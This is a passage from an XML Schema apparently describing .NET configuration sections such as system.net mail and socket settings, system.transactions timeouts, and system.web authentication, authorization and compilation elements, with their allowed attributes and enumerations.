791 <xs:attribute name="maximumUnauthorizedUploadLength" type="xs:int" use="optional" />
792 <xs:attribute name="useUnsafeHeaderParsing" type="small_boolean_Type" use="optional" />
793 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
794 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
795 <xs:attribute name="lockElements" type="xs:string" use="optional" />
796 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
797 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
798 </xs:complexType>
799 </xs:element>
800 <xs:element name="ipv6" vs:help="configuration/system.net/settings/ipv6">
801 <xs:complexType>
802 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
803 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
804 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
805 <xs:attribute name="lockElements" type="xs:string" use="optional" />
806 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
807 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
808 </xs:complexType>
809 </xs:element>
810 <xs:element name="performanceCounters" vs:help="configuration/system.net/settings/performanceCounters">
811 <xs:complexType>
812 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
813 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
814 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
815 <xs:attribute name="lockElements" type="xs:string" use="optional" />
816 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
817 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
818 </xs:complexType>
819 </xs:element>
820 <xs:element name="servicePointManager" vs:help="configuration/system.net/settings/servicePointManager">
821 <xs:complexType>
822 <xs:attribute name="checkCertificateName" type="small_boolean_Type" use="optional" />
823 <xs:attribute name="checkCertificateRevocationList" type="small_boolean_Type" use="optional" />
824 <xs:attribute name="dnsRefreshTimeout" type="xs:int" use="optional" />
825 <xs:attribute name="enableDnsRoundRobin" type="small_boolean_Type" use="optional" />
826 <xs:attribute name="expect100Continue" type="small_boolean_Type" use="optional" />
827 <xs:attribute name="useNagleAlgorithm" type="small_boolean_Type" use="optional" />
828 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
829 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
830 <xs:attribute name="lockElements" type="xs:string" use="optional" />
831 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
832 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
833 </xs:complexType>
834 </xs:element>
835 <xs:element name="socket" vs:help="configuration/system.net/settings/socket">
836 <xs:complexType>
837 <xs:attribute name="alwaysUseCompletionPortsForAccept" type="small_boolean_Type" use="optional" />
838 <xs:attribute name="alwaysUseCompletionPortsForConnect" type="small_boolean_Type" use="optional" />
839 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
840 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
841 <xs:attribute name="lockElements" type="xs:string" use="optional" />
842 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
843 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
844 </xs:complexType>
845 </xs:element>
846 <xs:element name="webProxyScript" vs:help="configuration/system.net/settings/webProxyScript">
847 <xs:complexType>
848 <xs:attribute name="downloadTimeout" type="xs:string" use="optional" />
849 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
850 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
851 <xs:attribute name="lockElements" type="xs:string" use="optional" />
852 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
853 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
854 </xs:complexType>
855 </xs:element>
856 </xs:choice>
857 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
858 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
859 <xs:attribute name="lockElements" type="xs:string" use="optional" />
860 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
861 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
862 <xs:attribute name="configSource" type="xs:string" use="optional" />
863 </xs:complexType>
864 </xs:element>
865 <xs:element name="webRequestModules" vs:help="configuration/system.net/webRequestModules">
866 <xs:complexType>
867 <xs:choice minOccurs="0" maxOccurs="unbounded">
868 <xs:element name="add" vs:help="configuration/system.net/webRequestModules/add">
869 <xs:complexType>
870 <xs:attribute name="prefix" type="xs:string" use="required" />
871 <xs:attribute name="type" type="xs:string" use="optional" />
872 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
873 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
874 <xs:attribute name="lockElements" type="xs:string" use="optional" />
875 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
876 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
877 </xs:complexType>
878 </xs:element>
879 <xs:element name="remove" vs:help="configuration/system.net/webRequestModules/remove">
880 <xs:complexType>
881 <xs:attribute name="prefix" type="xs:string" use="required" />
882 </xs:complexType>
883 </xs:element>
884 <xs:element name="clear" vs:help="configuration/system.net/webRequestModules/clear">
885 <xs:complexType>
886 <!--tag is empty-->
887 </xs:complexType>
888 </xs:element>
889 </xs:choice>
890 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
891 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
892 <xs:attribute name="lockElements" type="xs:string" use="optional" />
893 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
894 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
895 <xs:attribute name="configSource" type="xs:string" use="optional" />
896 </xs:complexType>
897 </xs:element>
898 <xs:element name="mailSettings" vs:help="configuration/system.net/mailSettings">
899 <xs:complexType>
900 <xs:choice minOccurs="0" maxOccurs="unbounded">
901 <xs:element name="smtp" vs:help="configuration/system.net/mailSettings/smtp">
902 <xs:complexType>
903 <xs:choice minOccurs="0" maxOccurs="unbounded">
904 <xs:element name="network" vs:help="configuration/system.net/mailSettings/smtp/network">
905 <xs:complexType>
906 <xs:attribute name="defaultCredentials" type="small_boolean_Type" use="optional" />
907 <xs:attribute name="host" type="xs:string" use="optional" />
908 <xs:attribute name="password" type="xs:string" use="optional" />
909 <xs:attribute name="port" type="xs:int" use="optional" />
910 <xs:attribute name="userName" type="xs:string" use="optional" />
911 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
912 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
913 <xs:attribute name="lockElements" type="xs:string" use="optional" />
914 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
915 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
916 </xs:complexType>
917 </xs:element>
918 <xs:element name="specifiedPickupDirectory" vs:help="configuration/system.net/mailSettings/smtp/specifiedPickupDirectory">
919 <xs:complexType>
920 <xs:attribute name="pickupDirectoryLocation" type="xs:string" use="optional" />
921 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
922 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
923 <xs:attribute name="lockElements" type="xs:string" use="optional" />
924 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
925 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
926 </xs:complexType>
927 </xs:element>
928 </xs:choice>
929 <xs:attribute name="deliveryMethod" use="optional">
930 <xs:simpleType>
931 <xs:restriction base="xs:NMTOKEN">
932 <xs:enumeration value="Network" />
933 <xs:enumeration value="PickupDirectoryFromIis" />
934 <xs:enumeration value="SpecifiedPickupDirectory" />
935 </xs:restriction>
936 </xs:simpleType>
937 </xs:attribute>
938 <xs:attribute name="from" type="xs:string" use="optional" />
939 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
940 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
941 <xs:attribute name="lockElements" type="xs:string" use="optional" />
942 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
943 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
944 <xs:attribute name="configSource" type="xs:string" use="optional" />
945 </xs:complexType>
946 </xs:element>
947 </xs:choice>
948 </xs:complexType>
949 </xs:element>
950 </xs:choice>
951 </xs:complexType>
952 </xs:element>
953 <xs:element name="system.transactions" vs:help="configuration/system.transactions">
954 <xs:complexType>
955 <xs:choice minOccurs="0" maxOccurs="unbounded">
956 <xs:element name="defaultSettings" vs:help="configuration/system.transactions/defaultSettings">
957 <xs:complexType>
958 <xs:attribute name="distributedTransactionManagerName" type="xs:string" use="optional" />
959 <xs:attribute name="timeout" use="optional">
960 <xs:simpleType>
961 <xs:restriction base="xs:string">
962 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
963 </xs:restriction>
964 </xs:simpleType>
965 </xs:attribute>
966 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
967 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
968 <xs:attribute name="lockElements" type="xs:string" use="optional" />
969 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
970 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
971 <xs:attribute name="configSource" type="xs:string" use="optional" />
972 </xs:complexType>
973 </xs:element>
974 <xs:element name="machineSettings" vs:help="configuration/system.transactions/machineSettings">
975 <xs:complexType>
976 <xs:attribute name="maxTimeout" use="optional">
977 <xs:simpleType>
978 <xs:restriction base="xs:string">
979 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
980 </xs:restriction>
981 </xs:simpleType>
982 </xs:attribute>
983 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
984 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
985 <xs:attribute name="lockElements" type="xs:string" use="optional" />
986 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
987 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
988 <xs:attribute name="configSource" type="xs:string" use="optional" />
989 </xs:complexType>
990 </xs:element>
991 </xs:choice>
992 </xs:complexType>
993 </xs:element>
994 <xs:element name="system.web" vs:help="configuration/system.web">
995 <xs:complexType>
996 <xs:choice minOccurs="0" maxOccurs="unbounded">
997 <xs:element name="anonymousIdentification" vs:help="configuration/system.web/anonymousIdentification">
998 <xs:complexType>
999 <xs:attribute name="cookieless" use="optional">
1000 <xs:simpleType>
1001 <xs:restriction base="xs:NMTOKEN">
1002 <xs:enumeration value="AutoDetect" />
1003 <xs:enumeration value="UseCookies" />
1004 <xs:enumeration value="UseDeviceProfile" />
1005 <xs:enumeration value="UseUri" />
1006 </xs:restriction>
1007 </xs:simpleType>
1008 </xs:attribute>
1009 <xs:attribute name="cookieName" use="optional">
1010 <xs:simpleType>
1011 <xs:restriction base="xs:string">
1012 <xs:minLength value="1" />
1013 </xs:restriction>
1014 </xs:simpleType>
1015 </xs:attribute>
1016 <xs:attribute name="cookiePath" use="optional">
1017 <xs:simpleType>
1018 <xs:restriction base="xs:string">
1019 <xs:minLength value="1" />
1020 </xs:restriction>
1021 </xs:simpleType>
1022 </xs:attribute>
1023 <xs:attribute name="cookieProtection" use="optional">
1024 <xs:simpleType>
1025 <xs:restriction base="xs:NMTOKEN">
1026 <xs:enumeration value="All" />
1027 <xs:enumeration value="Encryption" />
1028 <xs:enumeration value="None" />
1029 <xs:enumeration value="Validation" />
1030 </xs:restriction>
1031 </xs:simpleType>
1032 </xs:attribute>
1033 <xs:attribute name="cookieRequireSSL" type="small_boolean_Type" use="optional" />
1034 <xs:attribute name="cookieSlidingExpiration" type="small_boolean_Type" use="optional" />
1035 <xs:attribute name="cookieTimeout" use="optional">
1036 <xs:simpleType>
1037 <xs:restriction base="xs:string">
1038 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1039 </xs:restriction>
1040 </xs:simpleType>
1041 </xs:attribute>
1042 <xs:attribute name="domain" type="xs:string" use="optional" />
1043 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
1044 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1045 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1046 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1047 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1048 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1049 <xs:attribute name="configSource" type="xs:string" use="optional" />
1050 </xs:complexType>
1051 </xs:element>
1052 <xs:element name="authentication" vs:help="configuration/system.web/authentication">
1053 <xs:complexType>
1054 <xs:choice minOccurs="0" maxOccurs="unbounded">
1055 <xs:element name="forms" vs:help="configuration/system.web/authentication/forms">
1056 <xs:complexType>
1057 <xs:choice minOccurs="0" maxOccurs="unbounded">
1058 <xs:element name="credentials" vs:help="configuration/system.web/authentication/forms/credentials">
1059 <xs:complexType>
1060 <xs:choice minOccurs="0" maxOccurs="unbounded">
1061 <xs:element name="user" vs:help="configuration/system.web/authentication/forms/credentials/user">
1062 <xs:complexType>
1063 <xs:attribute name="name" use="required">
1064 <xs:simpleType>
1065 <xs:restriction base="xs:string">
1066 <xs:minLength value="0" />
1067 </xs:restriction>
1068 </xs:simpleType>
1069 </xs:attribute>
1070 <xs:attribute name="password" use="required">
1071 <xs:simpleType>
1072 <xs:restriction base="xs:string">
1073 <xs:minLength value="0" />
1074 </xs:restriction>
1075 </xs:simpleType>
1076 </xs:attribute>
1077 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1078 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1079 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1080 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1081 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1082 </xs:complexType>
1083 </xs:element>
1084 </xs:choice>
1085 <xs:attribute name="passwordFormat" use="optional">
1086 <xs:simpleType>
1087 <xs:restriction base="xs:NMTOKEN">
1088 <xs:enumeration value="Clear" />
1089 <xs:enumeration value="MD5" />
1090 <xs:enumeration value="SHA1" />
1091 </xs:restriction>
1092 </xs:simpleType>
1093 </xs:attribute>
1094 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1095 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1096 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1097 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1098 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1099 </xs:complexType>
1100 </xs:element>
1101 </xs:choice>
1102 <xs:attribute name="cookieless" use="optional">
1103 <xs:simpleType>
1104 <xs:restriction base="xs:NMTOKEN">
1105 <xs:enumeration value="AutoDetect" />
1106 <xs:enumeration value="UseCookies" />
1107 <xs:enumeration value="UseDeviceProfile" />
1108 <xs:enumeration value="UseUri" />
1109 </xs:restriction>
1110 </xs:simpleType>
1111 </xs:attribute>
1112 <xs:attribute name="defaultUrl" use="optional">
1113 <xs:simpleType>
1114 <xs:restriction base="xs:string">
1115 <xs:minLength value="1" />
1116 </xs:restriction>
1117 </xs:simpleType>
1118 </xs:attribute>
1119 <xs:attribute name="domain" type="xs:string" use="optional" />
1120 <xs:attribute name="enableCrossAppRedirects" type="small_boolean_Type" use="optional" />
1121 <xs:attribute name="loginUrl" use="optional">
1122 <xs:simpleType>
1123 <xs:restriction base="xs:string">
1124 <xs:minLength value="1" />
1125 </xs:restriction>
1126 </xs:simpleType>
1127 </xs:attribute>
1128 <xs:attribute name="name" use="optional">
1129 <xs:simpleType>
1130 <xs:restriction base="xs:string">
1131 <xs:minLength value="1" />
1132 </xs:restriction>
1133 </xs:simpleType>
1134 </xs:attribute>
1135 <xs:attribute name="path" use="optional">
1136 <xs:simpleType>
1137 <xs:restriction base="xs:string">
1138 <xs:minLength value="1" />
1139 </xs:restriction>
1140 </xs:simpleType>
1141 </xs:attribute>
1142 <xs:attribute name="protection" use="optional">
1143 <xs:simpleType>
1144 <xs:restriction base="xs:NMTOKEN">
1145 <xs:enumeration value="All" />
1146 <xs:enumeration value="Encryption" />
1147 <xs:enumeration value="None" />
1148 <xs:enumeration value="Validation" />
1149 </xs:restriction>
1150 </xs:simpleType>
1151 </xs:attribute>
1152 <xs:attribute name="requireSSL" type="small_boolean_Type" use="optional" />
1153 <xs:attribute name="slidingExpiration" type="small_boolean_Type" use="optional" />
1154 <xs:attribute name="timeout" use="optional">
1155 <xs:simpleType>
1156 <xs:restriction base="xs:string">
1157 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
1158 </xs:restriction>
1159 </xs:simpleType>
1160 </xs:attribute>
1161 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1162 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1163 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1164 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1165 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1166 </xs:complexType>
1167 </xs:element>
1168 <xs:element name="passport" vs:help="configuration/system.web/authentication/passport">
1169 <xs:complexType>
1170 <xs:attribute name="redirectUrl" use="optional">
1171 <xs:simpleType>
1172 <xs:restriction base="xs:string">
1173 <xs:minLength value="0" />
1174 </xs:restriction>
1175 </xs:simpleType>
1176 </xs:attribute>
1177 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1178 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1179 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1180 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1181 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1182 </xs:complexType>
1183 </xs:element>
1184 </xs:choice>
1185 <xs:attribute name="mode" use="optional">
1186 <xs:simpleType>
1187 <xs:restriction base="xs:NMTOKEN">
1188 <xs:enumeration value="Forms" />
1189 <xs:enumeration value="None" />
1190 <xs:enumeration value="Passport" />
1191 <xs:enumeration value="Windows" />
1192 </xs:restriction>
1193 </xs:simpleType>
1194 </xs:attribute>
1195 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1196 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1197 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1198 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1199 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1200 <xs:attribute name="configSource" type="xs:string" use="optional" />
1201 </xs:complexType>
1202 </xs:element>
1203 <xs:element name="authorization" vs:help="configuration/system.web/authorization">
1204 <xs:complexType>
1205 <xs:choice minOccurs="0" maxOccurs="unbounded">
1206 <xs:element name="allow" vs:help="configuration/system.web/authorization/allow">
1207 <xs:complexType>
1208 <xs:attribute name="roles" type="xs:string" use="optional" />
1209 <xs:attribute name="users" type="xs:string" use="optional" />
1210 <xs:attribute name="verbs" type="xs:string" use="optional" />
1211 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1212 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1213 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1214 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1215 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1216 </xs:complexType>
1217 </xs:element>
1218 <xs:element name="deny" vs:help="configuration/system.web/authorization/deny">
1219 <xs:complexType>
1220 <xs:attribute name="roles" type="xs:string" use="optional" />
1221 <xs:attribute name="users" type="xs:string" use="optional" />
1222 <xs:attribute name="verbs" type="xs:string" use="optional" />
1223 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1224 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1225 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1226 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1227 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1228 </xs:complexType>
1229 </xs:element>
1230 </xs:choice>
1231 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1232 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1233 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1234 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1235 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1236 <xs:attribute name="configSource" type="xs:string" use="optional" />
1237 </xs:complexType>
1238 </xs:element>
1239 <xs:element name="browserCaps" vs:help="configuration/system.web/browserCaps" />
1240 <xs:element name="clientTarget" vs:help="configuration/system.web/clientTarget">
1241 <xs:complexType>
1242 <xs:choice minOccurs="0" maxOccurs="unbounded">
1243 <xs:element name="add" vs:help="configuration/system.web/clientTarget/add">
1244 <xs:complexType>
1245 <xs:attribute name="alias" use="required">
1246 <xs:simpleType>
1247 <xs:restriction base="xs:string">
1248 <xs:minLength value="1" />
1249 </xs:restriction>
1250 </xs:simpleType>
1251 </xs:attribute>
1252 <xs:attribute name="userAgent" use="required">
1253 <xs:simpleType>
1254 <xs:restriction base="xs:string">
1255 <xs:minLength value="1" />
1256 </xs:restriction>
1257 </xs:simpleType>
1258 </xs:attribute>
1259 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1260 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1261 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1262 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1263 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1264 </xs:complexType>
1265 </xs:element>
1266 <xs:element name="remove" vs:help="configuration/system.web/clientTarget/remove">
1267 <xs:complexType>
1268 <xs:attribute name="alias" use="required">
1269 <xs:simpleType>
1270 <xs:restriction base="xs:string">
1271 <xs:minLength value="1" />
1272 </xs:restriction>
1273 </xs:simpleType>
1274 </xs:attribute>
1275 </xs:complexType>
1276 </xs:element>
1277 <xs:element name="clear" vs:help="configuration/system.web/clientTarget/clear">
1278 <xs:complexType>
1279 <!--tag is empty-->
1280 </xs:complexType>
1281 </xs:element>
1282 </xs:choice>
1283 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1284 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1285 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1286 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1287 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1288 <xs:attribute name="configSource" type="xs:string" use="optional" />
1289 </xs:complexType>
1290 </xs:element>
1291 <xs:element name="compilation" vs:help="configuration/system.web/compilation">
1292 <xs:complexType>
1293 <xs:choice minOccurs="0" maxOccurs="unbounded">
1294 <xs:element name="assemblies" vs:help="configuration/system.web/compilation/assemblies">
1295 <xs:complexType>
1296 <xs:choice minOccurs="0" maxOccurs="unbounded">
1297 <xs:element name="add" vs:help="configuration/system.web/compilation/assemblies/add">
1298 <xs:complexType>
1299 <xs:attribute name="assembly" use="required">
1300 <xs:simpleType>
1301 <xs:restriction base="xs:string">
1302 <xs:minLength value="1" />
1303 </xs:restriction>
1304 </xs:simpleType>
1305 </xs:attribute>
1306 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1307 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1308 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1309 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1310 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1311 </xs:complexType>
1312 </xs:element>
1313 <xs:element name="remove" vs:help="configuration/system.web/compilation/assemblies/remove">
1314 <xs:complexType>
1315 <xs:attribute name="assembly" use="required">
1316 <xs:simpleType>
1317 <xs:restriction base="xs:string">
1318 <xs:minLength value="1" />
1319 </xs:restriction>
1320 </xs:simpleType>
1321 </xs:attribute>
1322 </xs:complexType>
1323 </xs:element>
1324 <xs:element name="clear" vs:help="configuration/system.web/compilation/assemblies/clear">
1325 <xs:complexType>
1326 <!--tag is empty-->
1327 </xs:complexType>
1328 </xs:element>
1329 </xs:choice>
1330 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1331 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1332 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1333 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1334 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1335 </xs:complexType>
1336 </xs:element>
1337 <xs:element name="buildProviders" vs:help="configuration/system.web/compilation/buildProviders">
1338 <xs:complexType>
1339 <xs:choice minOccurs="0" maxOccurs="unbounded">
1340 <xs:element name="add" vs:help="configuration/system.web/compilation/buildProviders/add">
1341 <xs:complexType>
1342 <xs:attribute name="extension" use="required">
1343 <xs:simpleType>
1344 <xs:restriction base="xs:string">
1345 <xs:minLength value="1" />
1346 </xs:restriction>
1347 </xs:simpleType>
1348 </xs:attribute>
1349 <xs:attribute name="type" use="required">
1350 <xs:simpleType>
1351 <xs:restriction base="xs:string">
1352 <xs:minLength value="1" />
1353 </xs:restriction>
1354 </xs:simpleType>
1355 </xs:attribute>
1356 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1357 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1358 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1359 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1360 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1361 </xs:complexType>
1362 </xs:element>
1363 <xs:element name="remove" vs:help="configuration/system.web/compilation/buildProviders/remove">
1364 <xs:complexType>
1365 <xs:attribute name="extension" use="required">
1366 <xs:simpleType>
1367 <xs:restriction base="xs:string">
1368 <xs:minLength value="1" />
1369 </xs:restriction>
1370 </xs:simpleType>
1371 </xs:attribute>
1372 </xs:complexType>
1373 </xs:element>
1374 <xs:element name="clear" vs:help="configuration/system.web/compilation/buildProviders/clear">
1375 <xs:complexType>
1376 <!--tag is empty-->
1377 </xs:complexType>
1378 </xs:element>
1379 </xs:choice>
1380 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1381 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1382 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1383 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1384 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1385 </xs:complexType>
1386 </xs:element>
1387 <xs:element name="codeSubDirectories" vs:help="configuration/system.web/compilation/codeSubDirectories">
1388 <xs:complexType>
1389 <xs:choice minOccurs="0" maxOccurs="unbounded">
1390 <xs:element name="add" vs:help="configuration/system.web/compilation/codeSubDirectories/add">
1391 <xs:complexType>
1392 <xs:attribute name="directoryName" use="required">
1393 <xs:simpleType>
1394 <xs:restriction base="xs:string">
1395 <xs:whiteSpace value="collapse" />
1396 </xs:restriction>
1397 </xs:simpleType>
1398 </xs:attribute>
1399 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1400 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1401 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1402 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1403 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1404 </xs:complexType>
1405 </xs:element>
1406 </xs:choice>
1407 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1408 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1409 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1410 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1411 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1412 </xs:complexType>
1413 </xs:element>
1414 <xs:element name="expressionBuilders" vs:help="configuration/system.web/compilation/expressionBuilders">
1415 <xs:complexType>
1416 <xs:choice minOccurs="0" maxOccurs="unbounded">
1417 <xs:element name="add" vs:help="configuration/system.web/compilation/expressionBuilders/add">
1418 <xs:complexType>
1419 <xs:attribute name="expressionPrefix" use="required">
1420 <xs:simpleType>
1421 <xs:restriction base="xs:string">
1422 <xs:minLength value="1" />
1423 </xs:restriction>
1424 </xs:simpleType>
1425 </xs:attribute>
1426 <xs:attribute name="type" use="required">
1427 <xs:simpleType>
1428 <xs:restriction base="xs:string">
1429 <xs:minLength value="1" />
1430 </xs:restriction>
1431 </xs:simpleType>
1432 </xs:attribute>
1433 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1434 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
1435 <xs:attribute name="lockElements" type="xs:string" use="optional" />
1436 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
1437 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
1438 </xs:complexType>
1439 </xs:element>
1440 <xs:element name="remove" vs:help="configuration/system.web/compilation/expressionBuilders/remove">
1441 <xs:complexType>
1442 <xs:attribute name="expressionPrefix" use="required">
1443 <xs:simpleType>
1444 <xs:restriction base="xs:string">
1445 <xs:minLength value="1" />
1446 </xs:restriction>
1447 </xs:simpleType>
1448 </xs:attribute>
1449 </xs:complexType>
1450 </xs:element>
1451 <xs:element name="clear" vs:help="configuration/system.web/compilation/expressionBuilders/clear">
1452 <xs:complexType>
1453 <!--tag is empty-->
1454 </xs:complexType>
1455 </xs:element>
1456 </xs:choice>
1457 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
1458 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
